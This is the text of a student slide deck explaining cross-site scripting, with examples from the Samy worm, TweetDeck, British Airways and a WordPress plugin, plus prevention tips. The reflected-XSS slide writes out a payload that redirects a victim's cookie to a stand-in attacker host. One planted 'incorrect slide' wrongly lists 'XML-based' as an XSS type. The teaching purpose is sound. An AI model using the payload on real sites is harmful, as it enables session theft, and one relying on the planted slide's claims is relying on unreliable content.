Cross Site Scripting

By

Mrigakshi Goel
About Me

Student of Cybersecurity, M.S. at NYIT, Vancouver
Worked about 6 years at Accenture and would start with bugcrowd soon
Very excited to speak here for the first time
Agenda

- XSS Overview
- Impact & types
- Public exploits
- Prevention
NOTE: Identify one incorrect slide

One slide in this presentation will not state facts
Do you know who is Samy Kamkar?

Right now: Security Researcher

In 2005: “Samy is my hero” said the description of millions of Myspace accounts

Why?
Answer: The Samy Worm
Samy Worm code

```html
<script id="worm">
    var headerTag = "<script id=""worm"" type=""text/javascript"">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</script>";

    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

    alert(jsCode);
</script>
```
Cross-site scripting (XSS)

- Type of injection attack
- Malicious client-side scripts are injected
- Attacks are super common and difficult to prevent holistically
- Common occurrence within the OWASP Top 10
XSS Impact

- Users and/or employees
- Website’s ability to generate revenue
- PR damage
- Crashing social media, plugins and online news sites or other online businesses
- Impacts the users first; bad user experience may lead to decreased customer base
- Data theft
XSS types

- Four types of XSS vulnerabilities
  - Stored
  - XML-based
  - Reflected
  - DOM
Reflected Cross-Site Scripting

1. Attacker
   - Attacker’s Server
   - Check this out: http://website/search?keyword=<script>...

2. Victim’s Browser
   - Website’s Response to Victim
     - <html>
     - You searched for:
     - <script>
     - window.location='http://attacker/?cookie=document.cookie'
     - </script>
     - </html>

3. Website
   - Website’s Response Script
     - print "<html>"
     - print "You searched for:"
     - print request.query['keyword']
     - print "</html>"

4. GET http://attacker/?cookie=sensitive-data

5. 200 OK
DOM Cross-Site Scripting
Stored Cross-Site Scripting
A few more recent hacks

- TweetDeck, 2014
- British Airways, 2018
- Fortnite-Epic Games, 2019
- WordPress Plugin, 2020
TweetDeck, 2014

- XSS Worm - everyone who fell victim for it retweeted it
- Retweet of itself, and spread 38,000 times in two minutes
- Changed the font to Comic Sans
- No monetary loss at first
- Ultimately tweetDeck had to be shut down
British Airways, 2018

- How many customers were impacted? Any guesses?
- Customer Information stolen
- No <iframe> isolation of the payment card fields on the BA payment

```javascript
> document.querySelector('#CardNumber1')
<
<input aria-required="true" autocomplete="off" tabindex="110" value="40" type="tel" name="CardNumber1" class="ruleMandatory xl personaldata" id="CardNumber1" aria-invalid="true"/>
```
WordPress Plugin, 2020

- Over 900,000 WordPress websites targeted
- Website takeover by creation of new administrator accounts
- The plugin accounts for over one million active installations
- Vulnerability disclosed by Wordfence Threat Intelligence team on April 29, 2020
- Issued with a CVSS score of 8.8
A Few Prevention techniques

- Determine safe UI and reject others
- Restrict/limit text characters
- Improperly formatted data shouldn’t be inserted in code
- Input validation for database queries
- Security of third-party/ in-house web apps
- Continuous scanning in real-time to detect any unauthorized code
- Use modern frameworks like React
Takeaways

- Immediate Victim of XSS are the users
- Updating the plugins could have prevented WordPress plugin attack
- Best defense is sanitization of any and all user input
Special thanks to Jeevan, Arti and Betsy for helping me prepare this presentation
XSS types

- Three types of XSS vulnerabilities
  - Reflected
  - DOM
  - Stored
  - XML-based
British Airways Attack

380,000 customers were affected
References


https://owasp.org/www-community/attacks/DOM_Based_XSS

https://www.geeksforgeeks.org/what-is-cross-site-scripting-xss/

https://portswigger.net/web-security/csrf/xss-vs-csrf

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)

https://www.technorepublic.com/article/british-airways-data-theft-demonstrates-need-for-cross-site-scripting-restrictions/#:~:text=A%20major%20airline%20suffered%20a%20cross%2Dsite%20scripting%20attack.&text= Researchers%20from%20RiskIQ%20have%20published%20and%20September%20of%20this%20year.

https://www.oreilly.com/library/view/oracle-jet-for/9781787284746/assets/361a1477-5e08-4b94-92a8-785446e9eae8.png

https://evilhacker.lol/card-details.php%E2%80%99


https://www.supinfo.com/articles/single/8197--security-breach